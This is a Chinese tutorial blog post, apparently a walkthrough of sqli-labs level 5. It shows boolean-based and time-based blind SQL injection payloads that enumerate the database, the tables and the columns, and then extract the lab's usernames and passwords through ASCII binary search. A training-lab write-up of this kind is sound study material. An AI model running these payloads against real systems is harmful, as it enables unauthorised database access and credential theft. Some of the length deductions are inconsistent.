当前位置: 首页 > news >正文

基于时间的 SQL 盲注-延时判断和基于布尔的 SQL 盲注

sqli-maps第五关
先尝试bool盲注实在不行才会尝试时间盲注
1.先尝试页面是否正常显示
id=1' and 1=1
id=1' and 1=2
发现了异常
2.然后判断列数
id=1' order by 3
3.然后判断数据库的类型和数据库的名字
显示判断数据库的类型:and length(@@version)>0 --+ 页面正常显示就是mysql
然后对于数据库的名字就要开始尝试:
先对数据库的名字长度开始尝试:id=1 and length(database())>5逐步尝试,然后最终确定了:id=1 and length(database())>9 此时出现了页面的错误就是说明数据库的长度是8位
然后再对数据库的名字开始尝试:
数据库的名字可能是不同的符号,数字,字母什么的就是用ascii码来转换一下,统一转换成数字
先判断数据库名字第一个是啥and ascii(substr(database(),1,1))>100 --+来确定一下范围,如果页面正常就扩大或者缩小一定的范围
-- 先确定大致范围
id=1' and ascii(substr(database(),1,1))>100 --+  → 正常(说明>100)
id=1 'and ascii(substr(database(),1,1))>64 --+   → 正常(说明>64,可能是字母)

-- 二分法精确搜索
id=1' and ascii(substr(database(),1,1))>96 --+   → 正常(说明>96,小写字母)
id=1' and ascii(substr(database(),1,1))>109 --+  → 正常(说明>109,在110-122之间)
id=1' and ascii(substr(database(),1,1))>115 --+  → 异常(说明<=115,在110-115之间)
id=1' and ascii(substr(database(),1,1))>112 --+  → 正常(说明>112,在113-115之间)

-- 精确确定
id=1' and ascii(substr(database(),1,1))=113 --+  → 异常
id=1' and ascii(substr(database(),1,1))=114 --+  → 异常  
id=1' and ascii(substr(database(),1,1))=115 --+  → 正常

最终确定第一位:ASCII 115 = 's'
尝试八次就能得到数据库的名字是security
4.从security数据库里面得到相应的表的信息:
表名提取
-- 1. 表数量
id=1' and (select count(*) from information_schema.tables where table_schema='security')=5 --+(发现页面的错误)
id=1' and (select count(*) from information_schema.tables where table_schema='security')=4 --+(发现页面正常)
表有四个

-- 2. 逐位获取第一个表名
第一步:获取第一个表名的长度
-- 先用范围判断长度
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5 --+
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10 --+
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>8 --+
id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=7 --+(出现异常)
说明第一个表的长度是6

第二步:逐位提取第一个表名的字符(跟猜数据库的步骤类似大写字母,小写字母,字母分界线先来测试范围)
假设第一个表名长度是5个字符:

第1位字符:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>64 --+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>96 --+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>109 --+

-- 使用二分法精确确定
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+  -- 'e'
逐次爆破得到第一个表是emalis
最终可以得到所有的表是:emails,referers,uagents,users
然后重复上述操作为的是得到后面需要的用户名和密码
5.得到列的数据
字段提取
用上面的方法再次操作
-- 测试ASCII范围
-- 二分法精确确定
-- 最终确定
-- 1. 
id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() limit 0,1),1,1))=105--+
可以将users下的列名全部得出,为id,username,password
6.数据提取
用上面的方法再次操作
-- 1. 提取用户名
id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
依次提取第一个用户是 :Dumb
-- 2. 提取密码
id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
依次提取第一个密码是:Dumb

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

如果要时间盲注只需要加上if和sleep的条件就行:
比如最后的id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+只需要改成:
id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)--+

http://www.dtcms.com/a/577611.html

相关文章:

  • 个人微信公众号怎么做微网站seo完整教程视频教程
  • C++_chapter10_C++IO流类库
  • 树莓派5-docker里的ros常用命令
  • 网站地图1 500 怎么做网站推广方案及预算
  • 餐饮网站方案一个完整的网站怎么做
  • 弄一个关于作文的网站怎么做如何建立网站卖东西
  • 在Ubunutu上学习C语言(二):数组和指针
  • 成品网站源码78w78使用方法网站建设服务领域
  • ESP32内存分布全解析
  • Graph-R1:智能图谱检索增强的结构化多轮推理框架
  • java学习--可变参数
  • 相序诊断,快速响应!安科瑞户用光储防逆流无线电能表,破解您的安装难题,安全防逆流。
  • FPGA核心约束类型与语法
  • 给网站做网络安全的报价wordpress直播
  • 零基础从头教学Linux(Day 60)
  • .NET Core WebAPI 中 HTTP 请求方法详解:从新手到精通
  • Socket编程实战:从基础API到多线程服务器
  • Oracle Goldengate 同步过程的同步用户权限设置
  • Rust编程学习 - 如何理解Rust 语言提供了所有权、默认move 语义、借用、生命周期、内部可变性
  • 自学建立网站网络品牌推广费用
  • 卑鄙的网站开发公司网站地图页面模板
  • php网站如何编辑WordPress图片一行多张
  • 学Java第四十一天-------查找算法和排序算法
  • 从0到1学习Qt -- 信号和槽(二)
  • AI、闪购、造车……双十一的第十七年,京东、阿里、美团还有“新活”
  • IDEA不切换当前分支,实现跨分支合并的终极方案
  • 法考资源合集
  • Redis(四)——事务
  • 便宜的vps租用网站有哪些网站使用ftp
  • TestKeyDownBit函数和SetKeyDownBit函数和ClearKeyDownBit函数分析